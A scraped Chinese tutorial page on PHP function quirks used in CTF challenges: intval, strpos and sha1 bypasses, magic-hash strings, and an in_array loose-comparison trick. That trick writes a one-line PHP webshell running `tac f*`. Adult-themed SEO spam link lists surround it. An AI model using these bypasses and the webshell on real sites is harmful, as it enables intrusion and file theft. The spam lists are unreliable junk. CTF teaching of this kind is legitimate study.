日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁技術文章
文章詳情頁

CTF中的PHP特性函數解析之中篇

瀏覽:324日期:2022-06-06 15:55:04
目錄
  • 前言
  • intval()
  • strpos()
  • sha1
    • 數組比較
    • 強類型
  • array_push()
    • 結語

      前言

      上篇文章給大家帶來了PHP中最基本的特性,不知道大家學習的怎樣了,回顧上文,我們講了MD5強弱碰撞以及正則匹配的繞過,總體來看還是很簡單的,下面給大家帶來新的PHP特性講解,會稍微比上一篇難一些。

      intval()

      上一篇在最后時簡單介紹了一下這個函數,我們看看官方是怎樣定義的:

      簡單來說就是讓輸入的數字變成整數,下面我們舉個例子:

      echo intval(1145.14);     // 1145echo intval("114514");    // 114514

      可以發現只對有小數點的數字起作用,正常的整數還是照常輸出,那么它在CTF中是如何考察的呢,查看下面代碼:

      if($num==="1145"){die("no no no!");    }    if(intval($num,0)===1145){echo $flag;    }

      要我們強類型傳入的不能等于1145,但后面經過intval函數又要等于1145,這不和前面的矛盾了,我們要怎樣做呢?

      這里介紹一下intval的特性,如果我們在函數里傳入字符串,那么該函數就會返回不是數字的字符之前的數字,也就是說我們傳入:

      sum=1145a

      intval就會判斷我們傳入的是1145,從而實現了繞過,還有另一種繞過方法:

      當base為0時,intval會自動進行進制轉換,我們可以傳入1145的十六進制形式來繞過。

      strpos()

      根據手冊可以看到,該函數以及與其類似的函數,作用都是匹配第一個或者最后一個字符,根據該函數特性,題目會經常圍繞它作為一個限制頭部的點,比如上面那題可能會增加限制:

       if(!strpos($num, "0")){die("no no no!");

      因為八進制開頭通常為0,檢測到的話就不能通過進制轉換來繞過了。

      sha1

      p>該函數的利用以及繞過方法類似于MD5函數,都是運用了PHP特性來做,這里簡單看一下:

      數組比較

      類似于MD5,在SHA1里我們也可以使用數組繞過,具體可以看下面例子:

      if(sha1($a)==sha1($b) && $a!=$b){  	echo $flag;}

      可以看到,也是一個弱比較,根據PHP特性sha1函數無法對數組進行處理,,于是我們傳入數組來使結果為NULL:

      a[]=1b[]=2

      強類型

      與MD5相同,當然也存在強類型比較,我們不能用數組來進行繞過了:

      if(sha1($a)===sha1($b) && $a!=$b){  	echo $flag;}

      這里同樣有類似于MD5函數的解決方法:

      a=aaK1STf    //0e7665852665575620768827115962402601b=aaO8zKZF   //0e89257456677279068558073954252716165

      array_push()

      可以理解為向數組尾部插入參數,我們看看是如何考察的:

      <?phphighlight_file(__FILE__);$allow = array();for ($i=36; $i < 0x36d; $i++) {     array_push($allow, rand(1,$i));}if(isset($_GET["n"]) && in_array($_GET["n"], $allow)){    file_put_contents($_GET["n"], $_POST["content"]);}?>

      可以看到題目先向數組里插入隨機數,in_array()是搜索數組中是否存在指定的值,根據它的語法:

      type會判斷類型是否匹配,這就是我們利用的點,因為數組里數據為int型,根據PHP特性比較后字符串會轉成int型,也就是說我們傳入1.php也是沒有問題的,后面有個寫入文件操作,正好可以設置一句話木馬連接后門,或者進行命令執行:

      get:  n=1.phppost: content=&lt;?=`tac f*`;

      結語

      今天這篇文章可能有的地方不是很好理解,但總體來說還是很簡單的,PHP特性很多以至于只能挑出一些著名的來說,更多關于CTF PHP特性函數的資料請關注其它相關文章!

      標簽: PHP
      日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
      日本在线成人| 91亚洲一区| 久久香蕉国产| 在线一区视频观看| 久久夜夜操妹子| 久久久久99| 国产亚洲综合精品| 蜜桃av一区二区在线观看| 婷婷视频一区二区三区| 欧美精品不卡| 色一区二区三区| 夜夜精品视频| 国产欧美日韩综合一区在线播放| 欧美激情在线精品一区二区三区| 中文字幕一区久| 亚洲激情不卡| 日韩av在线免费观看不卡| 久久精品国产精品亚洲毛片| 群体交乱之放荡娇妻一区二区| 91成人精品视频| 日韩综合一区二区三区| 国产精品多人| 今天的高清视频免费播放成人| 亚洲精品中文字幕99999| 久久精品国产福利| 在线看片不卡| 国产精品观看| 亚洲欧洲一区| 精品网站999| 亚洲欧美日韩国产一区| 国产精选久久| 激情欧美日韩一区| 久久精品999| 激情丁香综合| 国产精品国码视频| 欧美日韩国产探花| 国产精品地址| 在线亚洲成人| 麻豆91小视频| 亚洲一区国产| 成人在线视频区| 久久福利毛片| sm捆绑调教国产免费网站在线观看| 亚洲一区二区三区无吗| 国产 日韩 欧美一区| 偷拍亚洲精品| 999久久久亚洲| 欧美综合精品| av不卡在线看| 日韩专区精品| 97久久亚洲| 亚洲男女av一区二区| 国产aa精品| 日韩和欧美一区二区三区| 欧美日韩精品免费观看视欧美高清免费大片 | 国内精品伊人| 少妇精品久久久| 99久久99视频只有精品| 欧美极品中文字幕| 丝袜诱惑制服诱惑色一区在线观看 | 日韩不卡一区| 青青国产精品| 亚洲在线成人| 在线成人动漫av| 国产精品毛片一区二区在线看| 欧美亚洲网站| 亚洲美女91| 蜜臀av性久久久久蜜臀aⅴ流畅 | 老牛国内精品亚洲成av人片| 亚洲另类视频| 日韩中文字幕不卡| 欧美女激情福利| 久久精品播放| 成人片免费看| 高潮一区二区| 捆绑调教日本一区二区三区| 你懂的网址国产 欧美| 亚洲欧美在线综合| 男女性色大片免费观看一区二区| 午夜久久久久| 美女亚洲一区| 欧美亚洲国产激情| 久久精品国产www456c0m| 亚洲精品福利电影| 日韩在线看片| 日韩视频网站在线观看| 国产精品久久久久久久免费观看| 久久精品国产精品亚洲毛片| 精品国产亚洲一区二区三区在线 | 免费一级欧美在线观看视频| 国产欧美日韩影院| 久久爱www成人| 麻豆精品国产91久久久久久| 麻豆精品蜜桃视频网站| 国产精品色在线网站| 国产日韩三级| 精品深夜福利视频| 黑人精品一区| 国产综合精品| 久久大逼视频| 欧美另类中文字幕| 老司机免费视频一区二区| 日韩不卡一区| 国产真实久久| 六月丁香综合| 日韩精品高清不卡| 国产高清视频一区二区| 高清在线一区| 激情婷婷亚洲| 综合激情五月婷婷| 国产亚洲一区二区三区啪| 久久久久九九精品影院| 麻豆mv在线观看| 一本一道久久a久久精品蜜桃| 久久aⅴ国产紧身牛仔裤| 日韩精品免费视频人成 | 亚洲我射av| 国产亚洲电影| 国产精品久久久久久久久久10秀| 极品日韩av| 日韩在线观看中文字幕| 国产精品白丝久久av网站| 精品久久精品| 欧美日韩精品一本二本三本| 日韩欧美2区| 国产成人久久精品麻豆二区| 今天的高清视频免费播放成人| 免费视频最近日韩| 国产精品videossex久久发布| 日韩久久视频| 免费不卡在线视频| 国产66精品| 日本欧洲一区二区| 精品视频一二| 亚洲一区二区三区中文字幕在线观看| 国产乱人伦丫前精品视频 | 久久久久久久久成人| 欧美91福利在线观看| 日韩超碰人人爽人人做人人添| 国内不卡的一区二区三区中文字幕| 欧美va亚洲va日韩∨a综合色| 日本v片在线高清不卡在线观看| 福利一区视频| 蜜桃视频免费观看一区| 福利在线免费视频| 亚洲精品第一| 波多视频一区| 欧美一级网址| 午夜欧美精品久久久久久久| 麻豆免费精品视频| 免费日韩av片| 神马久久午夜| 亚洲丝袜美腿一区| 黑森林国产精品av| 欧美午夜三级| 国产韩日影视精品| 国产精品密蕾丝视频下载| 亚洲欧洲日本mm| 色婷婷色综合| 91成人小视频| 亚洲一区观看| 久久精品免费一区二区三区| 国产伦精品一区二区三区视频| 国产视频久久| 日韩不卡视频在线观看| 国产精品资源| 伊人久久亚洲| 亚洲激情社区| 91精品一区二区三区综合| 国产精品99久久久久久董美香| 亚洲欧美激情诱惑| 91精品精品| 国产在线不卡一区二区三区| 日韩手机在线| 蜜桃免费网站一区二区三区 | 九一国产精品| 91av一区| 日韩精品第一| 蜜臀va亚洲va欧美va天堂| 欧洲精品一区二区三区| 国产在线一区不卡| 国产欧美一区二区三区米奇| 亚洲欧洲av| 中文字幕一区二区三区四区久久| 欧美精品一区二区三区精品| 国产美女高潮在线观看| 久久av影院| 国产精品视频一区二区三区综合| 日韩国产在线观看一区| 日韩中文一区二区| 蜜桃视频一区二区三区| 先锋影音久久久| 夜夜嗨一区二区| 91久久亚洲| 国产主播一区| 韩日一区二区三区| 免费欧美一区| 伊人久久亚洲影院| 亚洲免费婷婷| 视频一区二区三区中文字幕|